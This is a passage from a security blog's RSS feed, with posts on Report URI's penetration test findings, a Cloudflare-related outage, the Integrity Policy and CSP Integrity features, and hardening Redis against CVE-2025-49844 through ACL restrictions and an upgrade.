href="https://scotthelme.co.uk/report-uri-penetration-test-2021/?ref=scotthelme.co.uk" rel="noreferrer">2021 penetration test</a>, and our position remains similar to what it was back then. Whilst I&apos;m leaning towards 24 hours being on the top end, and we will probably bring this down shortly, I also feel like the recommended 20 minutes is just too short. Going away from your desk for a coffee break and returning to find you&apos;ve been logged out just seems a little bit too aggressive for us.</p><p>Looking at the other suggested concerns, if you have malware running on your endpoint, or someone gains physical access to extract a session cookie, I feel like you probably have much bigger concerns to address too! Overall, I acknowledge the issue raised and we&apos;re currently thinking something in the 12-18 hours range might be better suited. </p><p></p><h4 id="insecure-tls-configuration">Insecure TLS Configuration
    </h4><p>You could argue that I know a thing or two about TLS configuration, heck, you can even attend my <a href="https://www.feistyduck.com/training/practical-tls-and-pki?ref=scotthelme.ghost.io" rel="noreferrer">training course</a> on it if you like! The issue that somebody like a pen tester coming in from the outside is that they&apos;re always going to lack the specific context on why we made the configuration choices we did, and I also recognise that it&apos;s very hard to give generic advice that fits all situations. </p><p>We have priority in our cipher suite list for all of the best cipher suites as some of the first choices, and we have support for the latest protocol versions too. We&apos;re doing so well in fact that we get an A grade on the SSL Labs test (<a href="https://www.ssllabs.com/ssltest/analyze.html?d=helios.report-uri.com&amp;ref=scotthelme.ghost.io" rel="noreferrer">results</a>):</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/12/image-5.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1284" height="671" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/12/image-5.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/12/image-5.png 1000w, https://scotthelme.ghost.io/content/images/2025/12/image-5.png 1284w" sizes="(min-width: 720px) 720px"></figure><p></p><p>I&apos;m happy with where our current configuration is but as always, we will keep it in constant review as time goes by!</p><p></p><h4 id="no-account-lockout-or-timeout-mechanism">No Account Lockout or Timeout Mechanism
    </h4><p>This is a controversial topic and it&apos;s quite interesting to see it come up because we specifically cover this in the <a href="https://www.troyhunt.com/workshops/?ref=scotthelme.co.uk" rel="noreferrer">Hack Yourself First</a> workshop that I deliver alongside Troy Hunt! I absolutely recognise the goal that a mechanism like this would be trying to achieve, but I worry about the potential negative side-effects.</p><p>Using account enumeration it&apos;s often trivial to determine if someone has an account on our service, so you might be able to determine that [email protected] is indeed registered. You then may want to start guessing different passwords to try and log in to Troy&apos;s account, and there lies the problem. How many times should you be able to sit there and guess a password before something happens? An account lockout mechanism might work along the lines of saying &apos;after 5 unsuccessful login attempts we will lock the account and require a password reset&apos;, or perhaps say &apos;after 5 unsuccessful login attempts you will not be able to login again for 3 minutes&apos;. Both of these would stop the attacker from making significant progress, but both of them also present an opportunity to be abused by an attacker too. The attacker can now sit and make repeated login attempts to Troy&apos;s account and keep it in a perpetually locked state, denying him the use of his account, a Denial-of-Service attack (DoS)! It&apos;s for this reason I&apos;m generally not fond of these account lockout / account suspension mechanisms, they do provide an opportunity for abuse. </p><p>Instead, we rely on a different set of protections to try and limit the impact of attacks like these. </p><ol><li>We implement incredibly strict rate-liming on sensitive endpoints, including our authentication endpoints. This would slow an attacker down so the rate at which they could make guesses would be reduced. (This was disabled for the client IP addresses used by the tester)</li><li>We utilise Cloudflare&apos;s Bot Management across our application, which includes authentication flows, and if there is any reasonable suspicion that the client is a bot or in some way automated, they would be challenged. This prevents attackers from automating their attacks, ultimately slowing them down. (This was disabled for the client IP addresses used by the tester)</li><li>We have taken exceptional measures around password security. We require strong and complex passwords for our service, check for commonly used passwords against the Pwned Passwords API, use zxcvbn for strength testing, and more. This makes it highly unlikely that the password being guessed could be guessed easily, and you can read the full details on our password security measures <a href="https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io" rel="noreferrer">here</a>.</li><li>We support, and have a very high adoption of, 2FA across our service. This means that there&apos;s a very good chance that if the attacker was able to guess a password, the next prompt would be to input the TOTP code from the authenticator app!</li></ol><p>Given the above concerns around lockout mechanisms, and the additional measures we have in place, I continue to remain happy with our current position but we will always review these things on an ongoing basis. </p><p></p><h4 id="thats-a-wrap">That&apos;s a wrap!</h4><p>Given how much continued development we see in the product, and how much our infrastructure is evolving over time, I&apos;m really pleased to see that our continued efforts to maintain the security of our product, and ultimately our customer&apos;s data, has paid off. </p><p>As we look forward to 2026 our &quot;Development Horizon&quot; project board is loaded with cool new features and updates, so be sure to keep an eye out for the exciting new things we have coming!</p><p>If you want to download a copy of our report, the latest report is always available and linked in the <a href="https://report-uri.com/?ref=scotthelme.ghost.io#footer" rel="noreferrer">footer of our site</a>!</p><p></p>]]></content:encoded></item><item><title><![CDATA[Report URI - outage update]]></title><description><![CDATA[<p>This is not a blog post that anybody ever wants to write, but we had some service issues yesterday and now the dust has settled, I wanted to provide an update on what happened. The good news is that the interruption was very minor in the end, and likely went</p>]]></description><link>https://scotthelme.ghost.io/report-uri-outage-update/</link><guid isPermaLink="false">691dee03d9c78000011bd122</guid><category><![CDATA[Report URI]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Wed, 19 Nov 2025 21:24:19 GMT</pubDate><media:content url="https://scotthelme.ghost.io/content/images/2025/11/report-uri-down.webp" medium="image"/><content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2025/11/report-uri-down.webp" alt="Report URI - outage update"><p>This is not a blog post that anybody ever wants to write, but we had some service issues yesterday and now the dust has settled, I wanted to provide an update on what happened. The good news is that the interruption was very minor in the end, and likely went unnoticed by most of our customers. </p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/11/report-uri---wide-1.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="974" height="141" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/11/report-uri---wide-1.png 600w, https://scotthelme.ghost.io/content/images/2025/11/report-uri---wide-1.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="what-happened">What happened?</h4><p>I&apos;m sure that many of you are already aware of the issues that Cloudflare experienced yesterday, and their post-mortem is now available <a href="https://blog.cloudflare.com/18-november-2025-outage/?ref=scotthelme.ghost.io" rel="noreferrer">on their blog</a>. It&apos;s always tough to have service issues, but as expected Cloudflare handled it well and were transparent throughout. As a customer of Cloudflare that uses many of their services, the Cloudflare outage unfortunately had an impact on our service too. Because of the unique way that our service operates, <strong><em>our subsequent service issues did not have any impact on the websites or operations of our customers</em></strong>. What we do have to recognise, though, is that we may have missed some telemetry events for a short period of time.</p><p></p><h4 id="our-infrastructure">Our infrastructure</h4><p>Because all of the telemetry events sent to us have to pass through Cloudflare first, when Cloudflare were experiencing their service issues, it did prevent telemetry from reaching our servers. If we take a look at the bandwidth for one of our many telemetry ingestion servers, we can clearly see the impact.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/11/ingestion-server.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="991" height="280" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/11/ingestion-server.png 600w, https://scotthelme.ghost.io/content/images/2025/11/ingestion-server.png 991w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Looking at the graph from the Cloudflare blog showing their 500 error levels, we have a near perfect alignment with us not receiving telemetry during their peak error rates.</p><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://scotthelme.ghost.io/content/images/2025/11/image.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="1507" height="733" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/11/image.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/11/image.png 1000w, https://scotthelme.ghost.io/content/images/2025/11/image.png 1507w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">source: Cloudflare</span></figcaption></figure><p></p><p>The good news here, as mentioned above, is that even if a browser can&apos;t reach our service and send the telemetry to us, it has no negative impact on our customer&apos;s websites, at all, as the browser will simply continue to load the page and try to send the telemetry again later. This is a truly unique scenario where we can have a near total service outage and it&apos;s unlikely that a single customer even noticed because we have no negative impact on their application.</p><p></p><h4 id="the-recovery">The recovery</h4><p>Cloudflare worked quickly to bring their service troubles under control and things started to return to normal for us around 14:30 UTC. We could see our ingestion servers start to receive telemetry again, and we started to receive much more than usual. Here&apos;s that same view for the server above.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/11/ingestion-server-2.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="997" height="285" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/11/ingestion-server-2.png 600w, https://scotthelme.ghost.io/content/images/2025/11/ingestion-server-2.png 997w" sizes="(min-width: 720px) 720px"></figure><p></p><p>If we take a look at the aggregate inbound telemetry for our whole service, we were comfortably receiving twice our usual volume of telemetry data.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/11/global-telemetry.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="994" height="282" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/11/global-telemetry.png 600w, https://scotthelme.ghost.io/content/images/2025/11/global-telemetry.png 994w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This is a good thing and shows that the browsers that had previously tried to dispatch telemetry to us and had failed were now retrying and succeeding. We did keep a close eye on the impact that this level of load was having, and we managed it well, with the load tailing off to our normal levels overnight. Whilst this recovery was really good to see, we have to acknowledge that there will inevitably be telemetry that was dropped during this time, and it&apos;s difficult to accurately gauge how much. If the telemetry event was retried successfully by the browser, or the problem also existed either before or after this outage, we will have still processed the event and taken any necessary action. </p><p></p><h4 id="looking-forwards">Looking forwards</h4><p>I&apos;ve always talked openly about our infrastructure at Report URI, even blogging in detail about the issues we&apos;ve faced and the changes we&apos;ve made as a result, much as I am doing here. We depend on several other service providers to build our service, including Cloudflare for CDN/WAF, DigitalOcean for VPS/compute and Microsoft Azure for storage, but sometimes even the big players will have their own problems, just like AWS did recently too. </p><p>Looking back on this incident now, whilst it was a difficult process for us to go through, I believe we&apos;re still making the best choices for Report URI and our customers. The likelihood of us being able to build our own service that rivals the benefits that Cloudflare provides is zero, and looking at other service providers to migrate to seems like a knee-jerk overreaction. I&apos;m not looking for service providers that promise to never have issues, I&apos;m looking for service providers that will respond quickly and transparently when they inevitably do have an issue, and Cloudflare have demonstrated that again. It&apos;s also this same desire for transparency and honesty that has driven me to write this blog post to inform you that it is likely we missed some of your telemetry events yesterday, and that we continue to consider how we can improve our service further going forwards.</p><p></p>]]></content:encoded></item><item><title><![CDATA[Integrity Policy - Monitoring and Enforcing the use of SRI]]></title><description><![CDATA[<p>This has been a long time coming so I&apos;m excited that we now have a working standard in the browser for monitoring and enforcing the use of SRI across your website assets!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/11/report-uri---wide.png" class="kg-image" alt loading="lazy" width="974" height="141" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/11/report-uri---wide.png 600w, https://scotthelme.ghost.io/content/images/2025/11/report-uri---wide.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="sri-refresher">SRI refresher</h4><p>For those that aren&apos;t familiar, or would like a quick refresher, here&</p>]]></description><link>https://scotthelme.ghost.io/integrity-policy-monitoring-and-enforcing-the-use-of-sri/</link><guid isPermaLink="false">691b2097bb6a68000181de36</guid><category><![CDATA[Report URI]]></category><category><![CDATA[Integrity Policy]]></category><category><![CDATA[javascript]]></category><category><![CDATA[integrity]]></category><category><![CDATA[Integrity Suite]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Wed, 19 Nov 2025 15:01:02 GMT</pubDate><media:content url="https://scotthelme.ghost.io/content/images/2025/11/integrity-policy.webp" medium="image"/><content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2025/11/integrity-policy.webp" alt="Integrity Policy - Monitoring and Enforcing the use of SRI"><p>This has been a long time coming so I&apos;m excited that we now have a working standard in the browser for monitoring and enforcing the use of SRI across your website assets!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/11/report-uri---wide.png" class="kg-image" alt="Integrity Policy - Monitoring and Enforcing the use of SRI" loading="lazy" width="974" height="141" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/11/report-uri---wide.png 600w, https://scotthelme.ghost.io/content/images/2025/11/report-uri---wide.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="sri-refresher">SRI refresher</h4><p>For those that aren&apos;t familiar, or would like a quick refresher, here&apos;s the TLDR of SRI - Subresource Integrity. When loading assets from a 3rd-party, especially JavaScript, it&apos;s a good idea to have some control over what exactly it is you&apos;re loading. A typical script tag will allow <em>any</em> script to load in your page, but SRI gives you the ability to make sure the JavaScript you&apos;re getting is the JavaScript you wanted... It&apos;s all done with the simple addition of an integrity attribute:</p><p></p><pre><code>&lt;script
    src=&quot;https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js&quot; 
    integrity=&quot;sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo=&quot;
    crossorigin=&quot;anonymous&quot;&gt;
    &lt;/script&gt;</code></pre><p></p><p>That integrity attribute means the browser can now download that file and check the cryptographic fingerprint of the file it downloaded matches the one that you were expecting! If the file is tampered with or modified in some way, the browser can reject it. I have a full blog post about SRI, <a href="https://scotthelme.co.uk/subresource-integrity/?ref=scotthelme.ghost.io" rel="noreferrer">Subresource Integrity: Securing CDN loaded assets</a>, that I wrote <strong><em>more than a decade ago</em></strong> back in 2015!</p><p></p><h4 id="the-rise-of-sri">The rise of SRI</h4><p>It&apos;s no surprise that SRI has become a very popular technology. It&apos;s free to use, it&apos;s an open web standard supported across all browsers, it&apos;s unbelievably simple, and it provides invaluable protection against some quite serious threats. Helping to drive that adoption, all of the major CDN providers have been supplying their script tags with SRI attributes for years, it could have stopped some pretty serious attacks in recent history [<a href="https://scotthelme.co.uk/protect-site-from-cryptojacking-csp-sri/?ref=scotthelme.ghost.io" rel="noreferrer">source</a>], and it&apos;s now even a recommended strategy in compliance standards like PCI DSS [<a href="https://scotthelme.co.uk/pci-dss-4-0-its-time-to-get-serious-on-magecart/?ref=scotthelme.ghost.io" rel="noreferrer">source</a>]. If you have existing assets that don&apos;t have SRI protection, and you&apos;d like to add it, you can use free tools like our <a href="https://report-uri.com/home/sri_hash?ref=scotthelme.ghost.io" rel="noreferrer">SRI Hash Generator</a> to take the URL of existing assets and create an SRI compatible script or style tag. But there lies a little bit of a problem. How do you know what assets that you have across your website that are eligible to use SRI, but aren&apos;t currently using it? </p><p></p><h4 id="integrity-policy-to-the-rescue">Integrity Policy to the rescue!</h4><p>We now have a way to effortlessly audit all of the dependencies across your application to ensure that they&apos;re using SRI. Integrity Policy is an open web standard, requires no code or agent to be deployed, and has no negative impact to speak of. It can be enabled with a single HTTP Response Header:</p><p></p><pre><code>Integrity-Policy-Report-Only: blocked-destinations=(script), endpoints=(default)</code></pre><p></p><p>As you can see here, I&apos;m using the <code>Report-Only</code> version of the header as it&apos;s best to start by gathering information before you consider any enforcing action. I&apos;m setting the policy to monitor JavaScript and I&apos;m instructing it to send telemetry to the <code>default</code> reporting endpoint. If you&apos;re not familiar with the <a href="https://scotthelme.co.uk/introducing-the-reporting-api-nel-other-major-changes-to-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">Reporting API</a> you can read my full blog post, but the summary is that you simply add a HTTP Response Header to let the browser know where to send the telemetry. This endpoint can also be used by a variety of different mechanisms so you can set it once and use it many times.</p><p></p><pre><code>Report-To: {&quot;group&quot;:&quot;default&quot;,&quot;max_age&quot;:31536000,&quot;endpoints&quot;:[{&quot;url&quot;:&quot;https://helios.report-uri.com/a/t/g&quot;}],&quot;include_subdomains&quot;:true}</code></pre><p></p><p>That&apos;s it! With both of those headers set, any time a browser loads one of your pages it will send an event to let you know if there is an asset being loaded without the use of SRI. As the Integrity Policy header was delivered in Report-Only mode, it will still allow the asset to load so there is no negative impact on your site. The idea here would be that you can now go and fix that problem by adding the integrity attribute to the asset, and then the events will no longer be sent.</p><p></p><h4 id="now-in-open-beta">Now in open beta!</h4><p>Integrity Policy is now available on our site and is free to access for all customers during the open beta period. After announcing another brand new feature only a couple of months ago, <a href="https://scotthelme.co.uk/capture-javascript-integrity-metadata-using-csp/?ref=scotthelme.ghost.io" rel="noreferrer">CSP Integrity</a>, these two features will form part of our new Integrity Suite offering that will become generally available in Q1 2026.</p><p>There&apos;s no doubt that these new capabilities are a fundamental improvement in client-side security, allowing for a level of native protection in the browser that is simply unmatched. Whilst the details we&apos;ve covered in the CSP Integrity blog post, and now in this Integrity Policy blog post, are exciting, we still have a <strong><em>lot</em></strong> more to announce in the coming months!</p><p></p>]]></content:encoded></item><item><title><![CDATA[CVE-2025-49844 - The Redis CVSS 10.0 vulnerability and how we responded]]></title><description><![CDATA[<p>We&apos;re very public and open about our infrastructure at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, having written many blog posts about how we process billions of telemetry events every single week. As a result, it&apos;s no secret that we use Redis quite heavily across our infrastructure, and some have asked</p>]]></description><link>https://scotthelme.ghost.io/cve-2025-49844-the-redis-cvss-10-0-vulnerability-and-how-we-responded/</link><guid isPermaLink="false">68e7a6e405c3450001b53f41</guid><category><![CDATA[Report URI]]></category><category><![CDATA[Redis]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Tue, 14 Oct 2025 08:11:47 GMT</pubDate><media:content url="https://scotthelme.ghost.io/content/images/2025/10/9b5f57d6-6615-4e2a-b94c-4ee23a4cf06e.webp" medium="image"/><content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2025/10/9b5f57d6-6615-4e2a-b94c-4ee23a4cf06e.webp" alt="CVE-2025-49844 - The Redis CVSS 10.0 vulnerability and how we responded"><p>We&apos;re very public and open about our infrastructure at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, having written many blog posts about how we process billions of telemetry events every single week. As a result, it&apos;s no secret that we use Redis quite heavily across our infrastructure, and some have asked how the recent security vulnerability discovered in Redis has impacted us.</p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/10/report-uri.png" class="kg-image" alt="CVE-2025-49844 - The Redis CVSS 10.0 vulnerability and how we responded" loading="lazy" width="946" height="525" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/10/report-uri.png 600w, https://scotthelme.ghost.io/content/images/2025/10/report-uri.png 946w" sizes="(min-width: 720px) 720px"></a></figure><h4 id="tldr">TLDR;</h4><p>The short answer is that <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-49844?ref=scotthelme.ghost.io" rel="noreferrer">CVE-2025-49844</a> hasn&apos;t impacted us at all, largely because of our strict stance on security and existing measures that we already had in place. That said, any time something big happens in the industry that might have affected us, we take a look at how we might improve even further.</p><p></p><h4 id="immediate-response">Immediate response</h4><p>This advisory from Redis (<a href="https://github.com/redis/redis/security/advisories/GHSA-4789-qfc9-5f9q?ref=scotthelme.ghost.io" rel="noreferrer">GHSA-4789-qfc9-5f9q</a>) is the first visibility I had into the issue and the specified workaround was to use the ACL feature in Redis to restrict access to the commands that might be abused.</p><p></p><blockquote>An additional workaround to mitigate the problem without patching the redis-server executable is to prevent users from executing Lua scripts. This can be done using ACL to restrict EVAL and EVALSHA commands.</blockquote><p></p><p>This is an easy protection to implement and I know we don&apos;t use the <code>EVAL</code> or <code>EVALSHA</code> commands, so we could get this in place immediately and deploy it across the fleet via Ansible.</p><p></p><pre><code># Disable use of the EVAL and EVALSHA commands
    redis-cli ACL SETUSER {user} -EVAL -EVALSHA
    # Persist the change to config so it survives restarts
    redis-cli CONFIG REWRITE</code></pre><p></p><p>With that in place, we can take a little more time to investigate the issue and plan for the upgrade from Redis 8.2.1 to 8.2.2 to properly resolve the problem. </p><p></p><h4 id="upgrading-redis">Upgrading Redis</h4><p>As fate would have it, ~2 months ago I published this blog post: <a href="https://scotthelme.co.uk/were-going-high-availability-with-redis-sentinel/?ref=scotthelme.ghost.io" rel="noreferrer">We&apos;re going High Availability with Redis Sentinel!</a> In that blog post, I described our new High Availability setup using Redis Sentinel to give us failover capabilities between our new Primary and Replica caches. I also explained how one of the major benefits of the upgrade would be that updating our Redis server binary becomes a whole lot easier, and here we are!</p><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://scotthelme.ghost.io/content/images/2025/10/image.png" class="kg-image" alt="CVE-2025-49844 - The Redis CVSS 10.0 vulnerability and how we responded" loading="lazy" width="562" height="441"><figcaption><span style="white-space: pre-wrap;">Our Redis Sentinels fronting our Primary and Replica caches</span></figcaption></figure><p></p><p>With our new HA setup, it&apos;s simply a case of updating and upgrading the Replica cache, promoting it to Primary, and then updating what previously was the Primary cache but is now a Replica. Done!</p><pre><code>redis-cli info
    # Server
    redis_version:8.2.2
    redis_git_sha1:00000000
    redis_git_dirty:1
    redis_build_id:8ade872ac64c6931
    redis_mode:standalone
    ...</code></pre><p></p><h4 id="existing-protections-and-investigations">Existing protections and investigations</h4><p>Our Redis caches reside on a private network and are not at any time accessible from the public Internet. Further to that, we have firewall rules in place to only allow known IP addresses on our private network to have access to the Redis caches. Just to go the extra distance, we then only allow our application servers with the appropriate roles to have access to the appropriate Redis caches that they require to fulfil that role! Our network access is already locked down as tight as we can get it and there is no anomalous network activity in our logs.</p><p>Looking at the Redis caches themselves, we can use <code>commandstats</code> to get per-command counters on how many times each command has been called against the cache since the server started. To reset the counters it would require access to restart <code>redis-server</code> or call <code>CONFIG RESETSTAT</code>, and the command counters all look aligned with typical volumes before the update. Running the command, we can see no indication of the counts being reset, and there are no instances of <code>EVAL</code> or <code>EVALSHA</code> being called on the servers.</p><p></p><h4 id="further-hardening">Further Hardening</h4><p>With some quick research looking at other powerful commands, I could see that we currently don&apos;t require the use of the <code>SCRIPT</code> or <code>FUNCTION</code> commands, so they presented themselves as another good opportunity to further reduce the commands available. </p><p></p><pre><code># Disable use of the SCRIPT and FUNCTION commands
    redis-cli ACL SETUSER {user} -SCRIPT -FUNCTION
    # Persist the change to config so it survives restarts
    redis-cli CONFIG REWRITE</code></pre><p></p><p>There are some other commands that I want to restrict, but they require further investigation to ensure there are no adverse effects. To wrap things up and make sure that all of these restrictions are working as intended, we can try to run some of the commands that should now be blocked.</p><p></p><pre><code>redis-cli EVAL &quot;return 1&quot; 0
    (error) NOPERM User default has no permissions to run the &apos;eval&apos; command
    redis-cli ACL LOG 1
    1)  1) &quot;count&quot;
        2) (integer) 1
        3) &quot;reason&quot;
        4) &quot;command&quot;
        5) &quot;context&quot;
        6) &quot;toplevel&quot;
        7) &quot;object&quot;
        8) &quot;eval&quot;
        9) &quot;username&quot;
       10) &quot;default&quot;
       11) &quot;age-seconds&quot;
       12) &quot;54.578&quot;
       13) &quot;client-info&quot;
       14) &quot;id=49 addr=*snip*:59092 laddr=*snip*:6379 fd=32 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 ssub=0 multi=-1 watch=0 qbuf=35 qbuf-free=20439 argv-mem=13 multi-mem=0 rbs=16384 rbp=16384 obl=0 oll=0 omem=0 tot-mem=37797 events=r cmd=eval user=default redir=-1 resp=2 lib-name= lib-ver= io-thread=0 tot-net-in=35 tot-net-out=0 tot-cmds=0&quot;
       15) &quot;entry-id&quot;
       16) (integer) 0
       17) &quot;timestamp-created&quot;
       18) (integer) 1760018943783
       19) &quot;timestamp-last-updated&quot;
       20) (integer) 1760018943783</code></pre><p></p><p>The <code>EVAL</code> command was blocked as expected and the <code>ACL LOG</code> now has an entry to show that the block happened, which makes it easier to track the attempted usage of blocked commands in the future too.</p><p>With the fleet now updated to Redis 8.2.2, the additional protections in place, and no indication that we (or anyone else) were affected, I&apos;m happy to consider this resolved!</p><p></p><h4 id="thats-a-lot-of-data">That&apos;s a lot of data!</h4><p>If you&apos;re curious just how much data we process, you can see my recent blog post <a href="https://scotthelme.co.uk/trillion-with-a-t-surpassing-2-trillion-events-processed/?ref=scotthelme.ghost.io" rel="noreferrer">Trillion with a T: Surpassing 2 Trillion Events Processed!&#x1F680;&#x1F680;</a> which covers the details. That blog post also announced the launch of our public dashboard that provides a live insight into our telemetry volumes, along with heaps of other interesting data, so check that out here too: <a href="https://dash.report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Public Dashboard</a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Capture JavaScript Integrity Metadata using CSP!]]></title><description><![CDATA[<p>Today we&apos;re announcing the open beta of a brand new and incredibly powerful feature on the Report URI platform, CSP Integrity! Having the ability to collect integrity metadata for scripts running on your site opens up a whole new realm of possibilities, and it couldn&apos;t be</p>]]></description><link>https://scotthelme.ghost.io/capture-javascript-integrity-metadata-using-csp/</link><guid isPermaLink="false">68bfe86ad26c1a00012b4a80</guid><category><![CDATA[Report URI]]></category><category><![CDATA[CSP]]></category><category><![CDATA[integrity]]></category><category><![CDATA[javascript]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 29 Sep 2025 10:51:09 GMT</pubDate><media:content url="https://scotthelme.ghost.io/content/images/2025/09/csp-integrity-1.webp" medium="image"/><content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2025/09/csp-integrity-1.webp" alt="Capture JavaScript Integrity Metadata using CSP!"><p>Today we&apos;re announcing the open beta of a brand new and incredibly powerful feature on the Report URI platform, CSP Integrity! Having the ability to collect integrity metadata for scripts running on your site opens up a whole new realm of possibilities, and it couldn&apos;t be simpler to get started. If you have a few seconds spare, you have enough time to get started now!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/09/report-uri.png" class="kg-image" alt="Capture JavaScript Integrity Metadata using CSP!" loading="lazy" width="946" height="525" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/09/report-uri.png 600w, https://scotthelme.ghost.io/content/images/2025/09/report-uri.png 946w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="a-revolution-for-content-security-policy">A revolution for Content Security Policy</h4><p>Content Security Policy (CSP) is an incredibly powerful mechanism, allowing you to leverage control over a wide range of resources on your site. You can control where resources are loaded from or where data is sent to, and you can be alerted when things don&apos;t go according to plan. But regular readers will already know all of the existing benefits of CSP, so today, let&apos;s focus on the latest addition to the CSP arsenal; the collection of integrity metadata.</p><p>It&apos;s so easy to get started that we can boil it down to two simple steps. </p><ol><li>Ask the browser to send integrity metadata for scripts.</li><li>Tell it where to send the integrity metadata for scripts.</li></ol><p></p><p>That&apos;s really all there is to it, so let&apos;s break it down. If you already have a CSP in place, you will need to add the <code>&apos;report-sha256&apos;</code> keyword to your <code>script-src</code> directive, and if you don&apos;t have a CSP in place, you can add one with just this directive. This is what your CSP <code>script-src</code> might look like after you add the new keyword, which I&apos;ve highlighted in bold:</p>
    <!--kg-card-begin: html-->
    <pre>script-src &apos;self&apos; some-cdn.com <b>&apos;report-sha256&apos;</b>;</pre>
    <!--kg-card-end: html-->
    <p></p><p>Now that you&apos;ve added the new keyword to your policy, the browser will send integrity metadata for scripts that load on your site, but you will need to tell the browser where to send it, and for that, we will use the <a href="https://scotthelme.co.uk/introducing-the-reporting-api-nel-other-major-changes-to-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">Reporting API</a>. All you have to do to enable this is add a new response header:</p><pre><code>Report-To: {&quot;group&quot;:&quot;default&quot;,&quot;max_age&quot;:31536000,&quot;endpoints&quot;:[{&quot;url&quot;:&quot;https://scotthelme.report-uri.com/a/d/g&quot;}],&quot;include_subdomains&quot;:true}</code></pre><p></p><p>This defines a new group called <code>default</code> and sets the destination for telemetry data to <code>https://scotthelme.report-uri.com/a/d/g</code> . Please note that you should copy this value from the Setup page in <em>your</em> Report URI account as it will be unique to you and the one shown here is my unique URL for demonstration purposes. </p><p>With that, we can now link the two together by adding the <code>report-to</code> directive to your CSP:</p>
    <!--kg-card-begin: html-->
    <pre>script-src &apos;self&apos; some-cdn.com &apos;report-sha256&apos;; <b>report-to default;</b></pre>
    <!--kg-card-end: html-->
    <p></p><p>All you have to do now is sit back and wait for the telemetry to start rolling in!</p><p></p><h4 id="surfacing-this-in-the-ui">Surfacing this in the UI</h4><p>Processed in the same way that any telemetry sent to us would be, this data will only take a few minutes to start showing up in your dashboard. I&apos;ve used our &apos;aggregate&apos; search filter here to grab a list of unique dependencies that have been loaded on our site, and we can start to see the value we can extract from this data.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/09/image.png" class="kg-image" alt="Capture JavaScript Integrity Metadata using CSP!" loading="lazy" width="1531" height="870" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/09/image.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/09/image.png 1000w, https://scotthelme.ghost.io/content/images/2025/09/image.png 1531w" sizes="(min-width: 720px) 720px"></figure><p></p><p>If we focus on just one of these entries, we can see that a Bootstrap JS file has been loaded.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/09/image-1.png" class="kg-image" alt="Capture JavaScript Integrity Metadata using CSP!" loading="lazy" width="525" height="97"></figure><p></p><p>The browser has reported that the hash of the asset is <code>sha256-wMCQIK229gKxbUg3QWa544ypI4OoFlC2qQl8Q8xD8x8=</code>, which is helpful in various different ways. If we were loading this file from an external location for example, we could now track the hash over time to see if 